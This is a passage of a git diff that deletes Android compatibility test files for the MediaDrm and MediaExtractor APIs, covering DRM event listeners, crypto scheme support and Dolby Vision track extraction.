-        synchronized(mLock) {
-            try {
-                mLock.wait(1000);
-            } catch (Exception e) {
-            }
-        }
-
-        mLooper.quit();
-        assertTrue(mGotEvent);
-        shutdownExecutor();
-    }
-
-    public void testEventWithSessionAndDataWithExecutor() throws Exception {
-        mExecutor = new ScheduledThreadPoolExecutor(1);
-        testEventWithSessionAndData();
-    }
-
-    public void testEventWithSessionAndData() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-
-        new Thread() {
-            @Override
-            public void run() {
-                // Set up a looper to be used by mMediaPlayer.
-                Looper.prepare();
-
-                // Save the looper so that we can terminate this thread
-                // after we are done with it.
-                mLooper = Looper.myLooper();
-
-                try {
-                    mMediaDrm = new MediaDrm(mockScheme);
-                } catch (MediaDrmException e) {
-                    e.printStackTrace();
-                    fail();
-                }
-
-
-                mExpectedEvent = 1;
-                mExpectedSessionId = openSession(mMediaDrm);
-                mExpectedData = new byte[] {0x10, 0x11, 0x12, 0x13, 0x14,
-                                              0x15, 0x16, 0x17, 0x18, 0x19};
-
-                mMediaDrm.setPropertyByteArray("mock-event-session-id", mExpectedSessionId);
-                mMediaDrm.setPropertyByteArray("mock-event-data", mExpectedData);
-
-                synchronized(mLock) {
-                    mLock.notify();
-                    if (mExecutor != null) {
-                        mMediaDrm.setOnEventListener(mExecutor, MediaDrmMockTest.this);
-                    } else {
-                        mMediaDrm.setOnEventListener(MediaDrmMockTest.this);
-                    }
-                }
-                Looper.loop();  // Blocks forever until Looper.quit() is called.
-            }
-        }.start();
-
-        // wait for mMediaDrm to be created
-        synchronized(mLock) {
-            try {
-                mLock.wait(1000);
-            } catch (Exception e) {
-            }
-        }
-        assertTrue(mMediaDrm != null);
-
-        mGotEvent = false;
-        mMediaDrm.setPropertyString("mock-send-event", "1 123");
-
-        synchronized(mLock) {
-            try {
-                mLock.wait(1000);
-            } catch (Exception e) {
-            }
-        }
-
-        mLooper.quit();
-        assertTrue(mGotEvent);
-        shutdownExecutor();
-    }
-
-    @Override
-    public void onExpirationUpdate(MediaDrm md, byte[] sessionId,
-            long expiryTimeMS) {
-        synchronized(mLock) {
-            Log.d(TAG,"testExpirationUpdate.onExpirationUpdate");
-            assertTrue(md == mMediaDrm);
-            assertTrue(Arrays.equals(sessionId, mExpectedSessionId));
-            assertTrue(expiryTimeMS == 123456789012345L);
-            mGotEvent = true;
-            mLock.notify();
-        }
-    }
-
-    public void testExpirationUpdateWithExecutor() throws Exception {
-        mExecutor = new ScheduledThreadPoolExecutor(1);
-        testExpirationUpdate();
-    }
-
-    public void testExpirationUpdate() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-
-        new Thread() {
-            @Override
-            public void run() {
-                // Set up a looper to be used by mMediaPlayer.
-                Looper.prepare();
-
-                // Save the looper so that we can terminate this thread
-                // after we are done with it.
-                mLooper = Looper.myLooper();
-
-                try {
-                    mMediaDrm = new MediaDrm(mockScheme);
-                } catch (MediaDrmException e) {
-                    e.printStackTrace();
-                    fail();
-                }
-
-
-                mExpectedSessionId = openSession(mMediaDrm);
-
-                mMediaDrm.setPropertyByteArray("mock-event-session-id", mExpectedSessionId);
-
-                synchronized(mLock) {
-                    mLock.notify();
-                    if (mExecutor != null) {
-                        mMediaDrm.setOnExpirationUpdateListener(mExecutor, MediaDrmMockTest.this);
-                    } else {
-                        mMediaDrm.setOnExpirationUpdateListener(MediaDrmMockTest.this, null);
-                    }
-                }
-                Looper.loop();  // Blocks forever until Looper.quit() is called.
-            }
-        }.start();
-
-        // wait for mMediaDrm to be created
-        synchronized(mLock) {
-            try {
-                mLock.wait(1000);
-            } catch (Exception e) {
-            }
-        }
-        assertTrue(mMediaDrm != null);
-
-        mGotEvent = false;
-        mMediaDrm.setPropertyString("mock-send-expiration-update", "123456789012345");
-
-        synchronized(mLock) {
-            try {
-                mLock.wait(1000);
-            } catch (Exception e) {
-            }
-        }
-
-        mLooper.quit();
-        assertTrue(mGotEvent);
-        shutdownExecutor();
-    }
-
-    @Override
-    public void onKeyStatusChange(MediaDrm md, byte[] sessionId,
-            List<KeyStatus> keyInformation, boolean hasNewUsableKey) {
-        synchronized(mLock) {
-            Log.d(TAG,"testKeyStatusChange.onKeyStatusChange");
-            assertTrue(md == mMediaDrm);
-            assertTrue(Arrays.equals(sessionId, mExpectedSessionId));
-            try {
-                KeyStatus keyStatus = keyInformation.get(0);
-                assertTrue(Arrays.equals(keyStatus.getKeyId(), "key1".getBytes()));
-                assertTrue(keyStatus.getStatusCode() == MediaDrm.KeyStatus.STATUS_USABLE);
-                keyStatus = keyInformation.get(1);
-                assertTrue(Arrays.equals(keyStatus.getKeyId(), "key2".getBytes()));
-                assertTrue(keyStatus.getStatusCode() == MediaDrm.KeyStatus.STATUS_EXPIRED);
-                keyStatus = keyInformation.get(2);
-                assertTrue(Arrays.equals(keyStatus.getKeyId(), "key3".getBytes()));
-                assertTrue(keyStatus.getStatusCode() == MediaDrm.KeyStatus.STATUS_OUTPUT_NOT_ALLOWED);
-                keyStatus = keyInformation.get(3);
-                assertTrue(Arrays.equals(keyStatus.getKeyId(), "key4".getBytes()));
-                assertTrue(keyStatus.getStatusCode() == MediaDrm.KeyStatus.STATUS_PENDING);
-                keyStatus = keyInformation.get(4);
-                assertTrue(Arrays.equals(keyStatus.getKeyId(), "key5".getBytes()));
-                assertTrue(keyStatus.getStatusCode() == MediaDrm.KeyStatus.STATUS_INTERNAL_ERROR);
-                assertTrue(hasNewUsableKey);
-                mGotEvent = true;
-            } catch (IndexOutOfBoundsException e) {
-            }
-            mLock.notify();
-        }
-    }
-
-    public void testKeyStatusChangeWithExecutor() throws Exception {
-        mExecutor = new ScheduledThreadPoolExecutor(1);
-        testKeyStatusChange();
-    }
-
-    public void testKeyStatusChange() throws Exception {
-        if (!isMockPluginInstalled()) {
-            return;
-        }
-
-
-        new Thread() {
-            @Override
-            public void run() {
-                // Set up a looper to be used by mMediaPlayer.
-                Looper.prepare();
-
-                // Save the looper so that we can terminate this thread
-                // after we are done with it.
-                mLooper = Looper.myLooper();
-
-                try {
-                    mMediaDrm = new MediaDrm(mockScheme);
-                } catch (MediaDrmException e) {
-                    e.printStackTrace();
-                    fail();
-                }
-
-
-                mExpectedSessionId = openSession(mMediaDrm);
-
-                mMediaDrm.setPropertyByteArray("mock-event-session-id", mExpectedSessionId);
-
-                synchronized(mLock) {
-                    mLock.notify();
-                    if (mExecutor != null) {
-                        mMediaDrm.setOnKeyStatusChangeListener(mExecutor, MediaDrmMockTest.this);
-                    } else {
-                        mMediaDrm.setOnKeyStatusChangeListener(MediaDrmMockTest.this, null);
-                    }
-                }
-                Looper.loop();  // Blocks forever until Looper.quit() is called.
-            }
-        }.start();
-
-        // wait for mMediaDrm to be created
-        synchronized(mLock) {
-            try {
-                mLock.wait(1000);
-            } catch (Exception e) {
-            }
-        }
-        assertTrue(mMediaDrm != null);
-
-        mGotEvent = false;
-        mMediaDrm.setPropertyString("mock-send-keys-change", "123456789012345");
-
-        synchronized(mLock) {
-            try {
-                mLock.wait(1000);
-            } catch (Exception e) {
-            }
-        }
-
-        mLooper.quit();
-        assertTrue(mGotEvent);
-        shutdownExecutor();
-    }
-
-    @Override
-    public void onSessionLostState(MediaDrm md, byte[] sessionId) {
-        assertTrue(md == mMediaDrm);
-        assertTrue(Arrays.equals(sessionId, mExpectedSessionId));
-        mGotEvent = true;
-        synchronized (mLock) {
-            mLock.notify();
-        }
-    }
-
-    public void testSessionLostStateWithExecutor() throws Exception {
-        mExecutor = new ScheduledThreadPoolExecutor(1);
-        testSessionLostState();
-    }
-
-    public void testSessionLostState() throws Exception {
-        if (!MediaDrm.isCryptoSchemeSupported(clearkeyScheme)) {
-            return;
-        }
-
-        try {
-            mMediaDrm = new MediaDrm(clearkeyScheme);
-        } catch (MediaDrmException e) {
-            e.printStackTrace();
-            fail();
-        }
-
-        mMediaDrm.setPropertyString("drmErrorTest", "lostState");
-        if (mExecutor != null) {
-            mMediaDrm.setOnSessionLostStateListener(mExecutor, this);
-        } else {
-            mMediaDrm.setOnSessionLostStateListener(this, null);
-        }
-
-        mGotEvent = false;
-        mExpectedSessionId = openSession(mMediaDrm);
-        try {
-            mMediaDrm.closeSession(mExpectedSessionId);
-        } catch (Exception err) {
-            // expected
-        }
-
-        synchronized(mLock) {
-            try {
-                mLock.wait(1000);
-            } catch (Exception e) {
-            }
-        }
-
-        assertTrue(mGotEvent);
-        shutdownExecutor();
-    }
-
-    private byte[] openSession(MediaDrm md) {
-        byte[] sessionId = null;
-        try {
-            sessionId = md.openSession();
-        } catch (NotProvisionedException e) {
-            // ignore, not thrown by mock
-        } catch (ResourceBusyException e) {
-            // ignore, not thrown by mock
-        }
-        return sessionId;
-    }
-
-    private void shutdownExecutor() {
-        if (mExecutor != null) {
-            mExecutor.shutdown();
-            try {
-                if (!mExecutor.awaitTermination(1, TimeUnit.SECONDS)) {
-                    fail("timed out waiting for executor");
-                }
-            } catch (InterruptedException e) {
-                fail("interrupted waiting for executor");
-            }
-            if (mExecutor.getTaskCount() == 0) {
-                fail("no tasks submitted");
-            }
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaDrmTest.java b/tests/tests/media/src/android/media/cts/MediaDrmTest.java
deleted file mode 100644
index c455c38..0000000
--- a/tests/tests/media/src/android/media/cts/MediaDrmTest.java
+++ /dev/null
@@ -1,199 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.MediaCrypto;
-import android.media.MediaCryptoException;
-import android.media.MediaDrm;
-import android.media.NotProvisionedException;
-import android.media.ResourceBusyException;
-import android.media.UnsupportedSchemeException;
-import android.media.metrics.LogSessionId;
-import android.media.metrics.MediaMetricsManager;
-import android.media.metrics.PlaybackSession;
-import android.os.PersistableBundle;
-import android.util.Log;
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import java.util.List;
-import java.util.UUID;
-
-import org.junit.Assert;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import static junit.framework.Assert.assertTrue;
-
-import static org.testng.Assert.assertEquals;
-import static org.testng.Assert.assertThrows;
-
-@NonMediaMainlineTest
-@RunWith(AndroidJUnit4.class)
-public class MediaDrmTest {
-
-    private final String TAG = this.getClass().getName();
-
-    private void testSingleScheme(UUID scheme) throws Exception {
-        MediaDrm md = new MediaDrm(scheme);
-        assertTrue(md.getOpenSessionCount() <= md.getMaxSessionCount());
-        assertThrows(() -> {
-            md.closeSession(null);
-        });
-        md.close();
-    }
-
-    @Test
-    public void testSupportedCryptoSchemes() throws Exception {
-        List<UUID> supportedCryptoSchemes = MediaDrm.getSupportedCryptoSchemes();
-        if (supportedCryptoSchemes.isEmpty()) {
-            Log.w(TAG, "No supported crypto schemes reported");
-        }
-        for (UUID scheme : supportedCryptoSchemes) {
-            Log.d(TAG, "supported scheme: " + scheme.toString());
-            assertTrue(MediaDrm.isCryptoSchemeSupported(scheme));
-            testSingleScheme(scheme);
-        }
-    }
-
-    @Test
-    public void testGetLogMessages() throws Exception {
-        List<UUID> supportedCryptoSchemes = MediaDrm.getSupportedCryptoSchemes();
-        for (UUID scheme : supportedCryptoSchemes) {
-            MediaDrm drm = new MediaDrm(scheme);
-            try {
-                byte[] sid = drm.openSession();
-                drm.closeSession(sid);
-            } catch (NotProvisionedException e) {
-                Log.w(TAG, scheme.toString() + ": not provisioned", e);
-            }
-
-            List<MediaDrm.LogMessage> logMessages;
-            try {
-                logMessages = drm.getLogMessages();
-                Assert.assertFalse("Empty logs", logMessages.isEmpty());
-                for (MediaDrm.LogMessage log : logMessages) {
-                    Assert.assertFalse("Empty log: " + log.toString(), log.getMessage().isEmpty());
-                }
-            } catch (UnsupportedOperationException e) {
-                Log.w(TAG, scheme.toString() + ": no LogMessage support", e);
-                continue;
-            }
-
-            long end = System.currentTimeMillis();
-            for (MediaDrm.LogMessage log: logMessages) {
-                Assert.assertTrue("Log occurred in future",
-                        log.getTimestampMillis() <= end);
-                Assert.assertTrue("Invalid log priority",
-                        log.getPriority() >= Log.VERBOSE &&
-                                log.getPriority() <= Log.ASSERT);
-                Log.i(TAG, log.toString());
-            }
-        }
-    }
-
-    private static boolean searchMetricsForValue(PersistableBundle haystack, Object needle) {
-        for (String key : haystack.keySet()) {
-            Object obj = haystack.get(key);
-            if (obj.equals(needle)) {
-                return true;
-            }
-            if (obj instanceof PersistableBundle) {
-                PersistableBundle haystack2 = (PersistableBundle) obj;
-                if (searchMetricsForValue(haystack2, needle)) {
-                    return true;
-                }
-            }
-        }
-        return false;
-    }
-
-    @Test
-    public void testPlaybackComponent() throws UnsupportedSchemeException {
-        for (UUID scheme : MediaDrm.getSupportedCryptoSchemes()) {
-            MediaDrm drm = new MediaDrm(scheme);
-            byte[] sid = null;
-            try {
-                drm = new MediaDrm(scheme);
-                sid = drm.openSession();
-                Assert.assertNotNull("null session id", sid);
-                MediaDrm.PlaybackComponent component = drm.getPlaybackComponent(sid);
-                Assert.assertNotNull("null PlaybackComponent", component);
-
-                final MediaMetricsManager mediaMetricsManager =
-                        InstrumentationRegistry.getTargetContext()
-                                .getSystemService(MediaMetricsManager.class);
-                final PlaybackSession playbackSession =
-                        mediaMetricsManager.createPlaybackSession();
-                final LogSessionId logSessionId = playbackSession.getSessionId();
-                component.setLogSessionId(logSessionId);
-                assertEquals(logSessionId, component.getLogSessionId(),
-                        "LogSessionId not set");
-                PersistableBundle metrics = drm.getMetrics();
-                assertTrue("LogSessionId not found in metrics",
-                        searchMetricsForValue(metrics, logSessionId.getStringId()));
-            } catch (UnsupportedOperationException | NotProvisionedException e) {
-                Log.w(TAG, "testPlaybackComponent: skipping scheme " + scheme, e);
-            } catch (ResourceBusyException e) {
-                // todo: retry
-            } finally {
-                drm.close();
-            }
-        }
-    }
-
-    private void testRequiresSecureDecoder(UUID scheme, MediaDrm drm)
-            throws ResourceBusyException, NotProvisionedException,
-            MediaCryptoException {
-        int[] levels = {
-                MediaDrm.SECURITY_LEVEL_SW_SECURE_CRYPTO,
-                MediaDrm.SECURITY_LEVEL_HW_SECURE_ALL,
-                MediaDrm.getMaxSecurityLevel()};
-        for (int level : levels) {
-            for (String mime : new String[]{"audio/mp4", "video/mp4"}) {
-                if (!MediaDrm.isCryptoSchemeSupported(scheme, mime, level)) {
-                    continue;
-                }
-                byte[] sid = drm.openSession(level);
-                MediaCrypto crypto = new MediaCrypto(scheme, sid);
-                boolean supported1 = crypto.requiresSecureDecoderComponent(mime);
-                boolean supported2;
-                if (level == MediaDrm.getMaxSecurityLevel()) {
-                    supported2 = drm.requiresSecureDecoder(mime);
-                } else {
-                    supported2 = drm.requiresSecureDecoder(mime, level);
-                }
-                assertEquals(supported1, supported2, "secure decoder requirements inconsistent");
-            }
-        }
-    }
-
-    @Test
-    public void testRequiresSecureDecoder()
-            throws MediaCryptoException, UnsupportedSchemeException, ResourceBusyException {
-        for (UUID scheme: MediaDrm.getSupportedCryptoSchemes()) {
-            MediaDrm drm = new MediaDrm(scheme);
-            try {
-                testRequiresSecureDecoder(scheme, drm);
-            } catch (UnsupportedOperationException | NotProvisionedException e) {
-                Log.w(TAG, "testRequiresSecureDecoder: skipping scheme " + scheme, e);
-            } finally {
-                drm.close();
-            }
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaExtractorTest.java b/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
deleted file mode 100644
index 1ccd71e..0000000
--- a/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
+++ /dev/null
@@ -1,1147 +0,0 @@
-/*
- * Copyright 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.assertNotEquals;
-
-import android.content.Context;
-import android.content.res.AssetFileDescriptor;
-import android.hardware.display.DisplayManager;
-import android.icu.util.ULocale;
-import android.media.AudioFormat;
-import android.media.AudioPresentation;
-import android.media.DrmInitData;
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
-import android.media.MediaDataSource;
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-import static android.media.MediaFormat.MIMETYPE_VIDEO_DOLBY_VISION;
-import android.os.Build;
-import android.os.ParcelFileDescriptor;
-import android.os.PersistableBundle;
-import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
-import android.util.Log;
-import android.view.Display;
-import android.view.Display.HdrCapabilities;
-import android.webkit.cts.CtsTestServer;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.filters.SmallTest;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.MediaUtils;
-
-import java.io.BufferedReader;
-import java.io.Closeable;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileNotFoundException;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.io.Reader;
-import java.io.StreamTokenizer;
-import java.nio.ByteBuffer;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import java.util.SortedMap;
-import java.util.TreeMap;
-import java.util.UUID;
-
-@AppModeFull(reason = "Instant apps cannot access the SD card")
-public class MediaExtractorTest extends AndroidTestCase {
-    private static final String TAG = "MediaExtractorTest";
-    private static final UUID UUID_WIDEVINE = new UUID(0xEDEF8BA979D64ACEL, 0xA3C827DCD51D21EDL);
-    private static final UUID UUID_PLAYREADY = new UUID(0x9A04F07998404286L, 0xAB92E65BE0885F95L);
-    private static boolean mIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
-    private static final boolean IS_AT_LEAST_S = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
-
-    static final String mInpPrefix = WorkDir.getMediaDirString();
-    protected MediaExtractor mExtractor;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mExtractor = new MediaExtractor();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        mExtractor.release();
-    }
-
-    protected AssetFileDescriptor getAssetFileDescriptorFor(final String res)
-            throws FileNotFoundException {
-        File inpFile = new File(mInpPrefix + res);
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        ParcelFileDescriptor parcelFD =
-                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
-        return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
-    }
-
-    protected TestMediaDataSource getDataSourceFor(final String res) throws Exception {
-        AssetFileDescriptor afd = getAssetFileDescriptorFor(res);
-        return TestMediaDataSource.fromAssetFd(afd);
-    }
-
-    protected TestMediaDataSource setDataSource(final String res) throws Exception {
-        TestMediaDataSource ds = getDataSourceFor(res);
-        mExtractor.setDataSource(ds);
-        return ds;
-    }
-
-    public void SKIP_testNullMediaDataSourceIsRejected() throws Exception {
-        // duplicate of CtsMediaV2TestCases:ExtractorUnitTest$TestApi
-        // #testIfNullMediaDataSourceIsRejectedBySetDataSource
-        try {
-            mExtractor.setDataSource((MediaDataSource)null);
-            fail("Expected IllegalArgumentException.");
-        } catch (IllegalArgumentException ex) {
-            // Expected, test passed.
-        }
-    }
-
-    public void SKIP_testMediaDataSourceIsClosedOnRelease() throws Exception {
-        // duplicate of CtsMediaV2TestCases:ExtractorTest$SetDataSourceTest#testMediaDataSource
-        TestMediaDataSource dataSource = setDataSource("testvideo.3gp");
-        mExtractor.release();
-        assertTrue(dataSource.isClosed());
-    }
-
-    public void SKIP_testExtractorFailsIfMediaDataSourceThrows() throws Exception {
-        // duplicate of CtsMediaV2TestCases:ExtractorUnitTest$TestApi
-        // #testIfInvalidDataSourceIsRejectedBySetDataSource
-        TestMediaDataSource dataSource = getDataSourceFor("testvideo.3gp");
-        dataSource.throwFromReadAt();
-        try {
-            mExtractor.setDataSource(dataSource);
-            fail("Expected IOException.");
-        } catch (IOException e) {
-            // Expected.
-        }
-    }
-
-    public void testExtractorFailsIfMediaDataSourceReturnsAnError() throws Exception {
-        TestMediaDataSource dataSource = getDataSourceFor("testvideo.3gp");
-        dataSource.returnFromReadAt(-2);
-        try {
-            mExtractor.setDataSource(dataSource);
-            fail("Expected IOException.");
-        } catch (IOException e) {
-            // Expected.
-        }
-    }
-
-    // Smoke test MediaExtractor reading from a DataSource.
-    public void SKIP_testExtractFromAMediaDataSource() throws Exception {
-        // duplicate of CtsMediaV2TestCases:ExtractorTest$SetDataSourceTest#testMediaDataSource and
-        // duplicate of CtsMediaV2TestCases:ExtractorTest$FunctionalityTest#testMetrics
-        TestMediaDataSource dataSource = setDataSource("testvideo.3gp");
-        checkExtractorSamplesAndMetrics();
-    }
-
-    // Smoke test MediaExtractor reading from an AssetFileDescriptor.
-    public void SKIP_testExtractFromAssetFileDescriptor() throws Exception {
-        // duplicate of CtsMediaV2TestCases:ExtractorTest$SetDataSourceTest#testAssetFD and
-        // duplicate of CtsMediaV2TestCases:ExtractorTest$FunctionalityTest#testMetrics
-       AssetFileDescriptor afd = getAssetFileDescriptorFor("testvideo.3gp");
-        mExtractor.setDataSource(afd);
-        checkExtractorSamplesAndMetrics();
-        afd.close();
-    }
-
-    private boolean advertisesDolbyVision() {
-        // Device advertises support for DV if 1) it has a DV decoder, OR
-        // 2) it lists DV on the Display HDR capabilities.
-        if (MediaUtils.hasDecoder(MIMETYPE_VIDEO_DOLBY_VISION)) {
-            return true;
-        }
-
-        Context context = InstrumentationRegistry.getInstrumentation().getContext();
-        DisplayManager displayManager = context.getSystemService(DisplayManager.class);
-        Display defaultDisplay = displayManager.getDisplay(Display.DEFAULT_DISPLAY);
-        HdrCapabilities cap = defaultDisplay.getHdrCapabilities();
-        for (int type : cap.getSupportedHdrTypes()) {
-            if (type == HdrCapabilities.HDR_TYPE_DOLBY_VISION) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    // DolbyVisionMediaExtractor for profile-level (DvheDtr/Fhd30).
-    @CddTest(requirement="5.3.8")
-    public void testDolbyVisionMediaExtractorProfileDvheDtr() throws Exception {
-        TestMediaDataSource dataSource = setDataSource("video_dovi_1920x1080_30fps_dvhe_04.mp4");
-
-        assertTrue("There should be either 1 or 2 tracks",
-            0 < mExtractor.getTrackCount() && 3 > mExtractor.getTrackCount());
-
-        MediaFormat trackFormat = mExtractor.getTrackFormat(0);
-        int trackCountForDolbyVision = 1;
-
-        // Handle the case where there is a Dolby Vision extractor
-        // Note that it may or may not have a Dolby Vision Decoder
-        if (mExtractor.getTrackCount() == 2) {
-            if (trackFormat.getString(MediaFormat.KEY_MIME)
-                    .equalsIgnoreCase(MIMETYPE_VIDEO_DOLBY_VISION)) {
-                trackFormat = mExtractor.getTrackFormat(1);
-                trackCountForDolbyVision = 0;
-            }
-        }
-
-        if (advertisesDolbyVision()) {
-            assertEquals("There must be 2 tracks", 2, mExtractor.getTrackCount());
-
-            MediaFormat trackFormatForDolbyVision =
-                mExtractor.getTrackFormat(trackCountForDolbyVision);
-
-            final String mimeType = trackFormatForDolbyVision.getString(MediaFormat.KEY_MIME);
-            assertEquals("video/dolby-vision", mimeType);
-
-            int profile = trackFormatForDolbyVision.getInteger(MediaFormat.KEY_PROFILE);
-            assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionProfileDvheDtr, profile);
-
-            int level = trackFormatForDolbyVision.getInteger(MediaFormat.KEY_LEVEL);
-            assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionLevelFhd30, level);
-
-            final int trackIdForDolbyVision =
-                trackFormatForDolbyVision.getInteger(MediaFormat.KEY_TRACK_ID);
-
-            final int trackIdForBackwardCompat = trackFormat.getInteger(MediaFormat.KEY_TRACK_ID);
-            assertEquals(trackIdForDolbyVision, trackIdForBackwardCompat);
-        }
-
-        // The backward-compatible track should have mime video/hevc
-        final String mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
-        assertEquals("video/hevc", mimeType);
-    }
-
-    // DolbyVisionMediaExtractor for profile-level (DvheStn/Fhd60).
-    @CddTest(requirement="5.3.8")
-    public void SKIP_testDolbyVisionMediaExtractorProfileDvheStn() throws Exception {
-        // duplicate of CtsMediaV2TestCases:ExtractorTest$ValidateKeyValuePairs[video/dolby-vision]
-        TestMediaDataSource dataSource = setDataSource("video_dovi_1920x1080_60fps_dvhe_05.mp4");
-
-        if (advertisesDolbyVision()) {
-            // DvheStn exposes only a single non-backward compatible Dolby Vision HDR track.
-            assertEquals("There must be 1 track", 1, mExtractor.getTrackCount());
-            final MediaFormat trackFormat = mExtractor.getTrackFormat(0);
-
-            final String mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
-            assertEquals("video/dolby-vision", mimeType);
-
-            final int profile = trackFormat.getInteger(MediaFormat.KEY_PROFILE);
-            assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionProfileDvheStn, profile);
-
-            final int level = trackFormat.getInteger(MediaFormat.KEY_LEVEL);
-            assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionLevelFhd60, level);
-        } else {
-            MediaUtils.skipTest("Device does not provide a Dolby Vision decoder");
-        }
-    }
-
-    // DolbyVisionMediaExtractor for profile-level (DvheSt/Fhd60).
-    @CddTest(requirement="5.3.8")
-    public void testDolbyVisionMediaExtractorProfileDvheSt() throws Exception {
-        TestMediaDataSource dataSource = setDataSource("video_dovi_1920x1080_60fps_dvhe_08.mp4");
-
-        assertTrue("There should be either 1 or 2 tracks",
-            0 < mExtractor.getTrackCount() && 3 > mExtractor.getTrackCount());
-
-        MediaFormat trackFormat = mExtractor.getTrackFormat(0);
-        int trackCountForDolbyVision = 1;
-
-        // Handle the case where there is a Dolby Vision extractor
-        // Note that it may or may not have a Dolby Vision Decoder
-        if (mExtractor.getTrackCount() == 2) {
-            if (trackFormat.getString(MediaFormat.KEY_MIME)
-                    .equalsIgnoreCase(MIMETYPE_VIDEO_DOLBY_VISION)) {
-                trackFormat = mExtractor.getTrackFormat(1);
-                trackCountForDolbyVision = 0;
-            }
-        }
-
-        if (advertisesDolbyVision()) {
-            assertEquals("There must be 2 tracks", 2, mExtractor.getTrackCount());
-
-            MediaFormat trackFormatForDolbyVision =
-                mExtractor.getTrackFormat(trackCountForDolbyVision);
-
-            final String mimeType = trackFormatForDolbyVision.getString(MediaFormat.KEY_MIME);
-            assertEquals("video/dolby-vision", mimeType);
-
-            int profile = trackFormatForDolbyVision.getInteger(MediaFormat.KEY_PROFILE);
-            assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionProfileDvheSt, profile);
-
-            int level = trackFormatForDolbyVision.getInteger(MediaFormat.KEY_LEVEL);
-            assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionLevelFhd60, level);
-
-            final int trackIdForDolbyVision =
-                trackFormatForDolbyVision.getInteger(MediaFormat.KEY_TRACK_ID);
-
-            final int trackIdForBackwardCompat = trackFormat.getInteger(MediaFormat.KEY_TRACK_ID);
-            assertEquals(trackIdForDolbyVision, trackIdForBackwardCompat);
-        }
-
-        // The backward-compatible track should have mime video/hevc
-        final String mimeType = trackFormat.getString(MediaFormat.KEY_MIME);
-        assertEquals("video/hevc", mimeType);
-    }
-
-    // DolbyVisionMediaExtractor for profile-level (DvavSe/Fhd60).
-    @CddTest(requirement="5.3.8")
-    public void testDolbyVisionMediaExtractorProfileDvavSe() throws Exception {
-        TestMediaDataSource dataSource = setDataSource("video_dovi_1920x1080_60fps_dvav_09.mp4");
-
-        assertTrue("There should be either 1 or 2 tracks",
-            0 < mExtractor.getTrackCount() && 3 > mExtractor.getTrackCount());
-
-        MediaFormat trackFormat = mExtractor.getTrackFormat(0);
-        int trackCountForDolbyVision = 1;
-
-        // Handle the case where there is a Dolby Vision extractor
-        // Note that it may or may not have a Dolby Vision Decoder
-        if (mExtractor.getTrackCount() == 2) {
-            if (trackFormat.getString(MediaFormat.KEY_MIME)
-                    .equalsIgnoreCase(MIMETYPE_VIDEO_DOLBY_VISION)) {
-                trackFormat = mExtractor.getTrackFormat(1);
-                trackCountForDolbyVision = 0;
-            }
-        }
-
-        if (advertisesDolbyVision()) {
-            assertEquals("There must be 2 tracks", 2, mExtractor.getTrackCount());
-
-            MediaFormat trackFormatForDolbyVision =
-                mExtractor.getTrackFormat(trackCountForDolbyVision);
-
-            final String mimeType = trackFormatForDolbyVision.getString(MediaFormat.KEY_MIME);
-            assertEquals("video/dolby-vision", mimeType);
-
-            int profile = trackFormatForDolbyVision.getInteger(MediaFormat.KEY_PROFILE);
-            assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionProfileDvavSe, profile);
-
-            int level = trackFormatForDolbyVision.getInteger(MediaFormat.KEY_LEVEL);
-            assertEquals(MediaCodecInfo.CodecProfileLevel.DolbyVisionLevelFhd60, level);
-
-            final int trackIdForDolbyVision =
-                trackFormatForDolbyVision.getInteger(MediaFormat.KEY_TRACK_ID);
-
